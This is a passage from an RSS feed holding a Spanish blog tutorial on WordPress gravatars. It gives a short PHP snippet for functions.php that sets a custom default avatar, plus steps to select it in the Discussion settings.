Una instalación de WordPress incluye la opción de mostrar avatares (también conocidos como &#8220;gravatares&#8221;) de los autores de entradas y comentarios. 
La palabra &#8220;Gravatar&#8221; viene de Globally Recognized Avatar (Avatar reconocido globalmente) y no es más que una imagen que se asocia a tu perfil vayas donde vayas en internet. Es ... <strong><a href="http://www.danielnabil.com/blog/como-cambiar-avatar-por-defecto-wordpress/" class="seguir">Seguir leyendo&#160;&#187;</a></strong>]]></description>
			<content:encoded><![CDATA[<div id="attachment_47" class="wp-caption alignright" style="width: 402px"><img src="http://www.danielnabil.com/img/avatares-wordpress.jpg" alt="Avatares WordPress" title="Opciones de avatar en WordPress" width="392" height="278" class="size-full wp-image-47" /><p class="wp-caption-text">Opciones de avatar en el panel de control de WordPress</p></div>
<p>Una instalación de WordPress incluye la opción de mostrar avatares (también conocidos como &#8220;gravatares&#8221;) de los autores de entradas y comentarios. </p>
<p>La palabra &#8220;Gravatar&#8221; viene de <em>Globally Recognized Avatar</em> (Avatar reconocido globalmente) y no es más que una imagen que se asocia a tu perfil vayas donde vayas en internet. Es decir, cada vez que dejas un comentario en alguna web o foro, esta imagen aparecerá al lado de tu nombre (siempre que utilices el email al que has asociado esa imagen, claro). Si sabes inglés, <a href="http://en.gravatar.com/">aquí lo explican perfectamente</a>.</p>
<p>Podemos hacer que estos avatares <a href="http://en.blog.wordpress.com/2008/05/04/default-avatars/">se muestren en nuestro blog o web</a>, simplemente yendo al menú <em>Opciones</em> y después seleccionando <em>Discusión</em>.</p>
<p>Desde aquí podemos elegir si queremos mostrar o no estas imágenes y que aspecto les queremos dar cuando el autor no tenga ninguna imagen asociada a su perfil. Por defecto, WordPress utiliza la opción &#8220;Misterioso&#8221; (aunque en los blogs de WordPress.com se muestran desde hace tiempo los avatares autogenerados por defecto. De todas formas, para una instalación personalizada no es recomendable usar los auto-generados porque consumen bastante CPU).</p>
<p>Para personalizar al máximo nuestra instalación de WordPress, podemos cambiar el avatar por defecto para que muestre la imagen que nosotros queramos. No es complicado, pero hay que editar el código manualmente, es decir, no es una opción que se marque con un simple click de ratón (aunque seguro que existe algún plugin que simplifica el trabajo).</p>
<p>Esta es la imagen del &#8220;misterioso&#8221; avatar por defecto de WordPress: <img src="/img/avatar-misterioso.png" alt="Avatar misterioso" /></p>
<p>Para cambiarla, lo primero que tenemos que hacer es crear una nueva con cualquier programa de edición de imágenes. Muchos blogs y webs utilizan un tamaño de 80&#215;80 pixels, así que podemos hacerla a este tamaño y reducirla con CSS si es necesario. Puede ser un GIF, JPG o PNG.</p>
<p>A continuación hay que abrir el archivo <em>functions.php</em> del tema que tengamos activo. Si no existe, creamos un nuevo documento, lo llamamos <em>functions.php</em> y lo guardamos dentro de la carpeta del tema. Después ya podemos añadir este código (*):</p>
<pre>
// Nuevo avatar misterioso
add_filter('avatar_defaults', 'miavatar');
function miavatar ($avatar_defaults) {
     <em>// Ruta a nuestra imagen (puede estar en el mismo servidor o en otro)</em>
     $avatar = 'http://ruta-de-nuestra-web/carpeta/nombre-del-archivo.jpg';
     <em>// Nombre de nuestro avatar</em>
     $avatar_defaults[$avatar] = "Nuevo misterioso";
     return $avatar_defaults;
}
</pre>
<p>* NOTA: Recuerda que este código tiene que ir entre <code>"&lt;?php"</code> y <code>"?&gt;"</code>. El error más común al editar el archivo <em>functions.php</em> es pegar código fuera de las llamadas a PHP o pegarlo dentro duplicando estas llamadas.</p>
<p>Este código simplemente reescribe la función &#8220;avatar-defaults&#8221; con la que hemos personalizado, especificando la ruta a la nueva imagen y el nombre que aparecerá en la lista de opciones de WordPress.</p>
<p>Después de subir el archivo <em>functions.php</em> actualizado al servidor, hay que ir a las opciones de WordPress: <em>Opciones > Discusión</em> y seleccionar nuestro nuevo avatar.</p>
<p>Ya sabes, si eres de los que necesita personalizar hasta el más mínimo detalle de WordPress o de cualquier otro sistema, aquí tienes una idea.</p>
<p>Por cierto, si no tienes imagen de Gravatar sólo tienes que <a href="http://en.gravatar.com/site/signup">registrarte en la web de Gravatar</a> y subir la imagen que quieres utilizar.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.danielnabil.com/blog/como-cambiar-avatar-por-defecto-wordpress/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
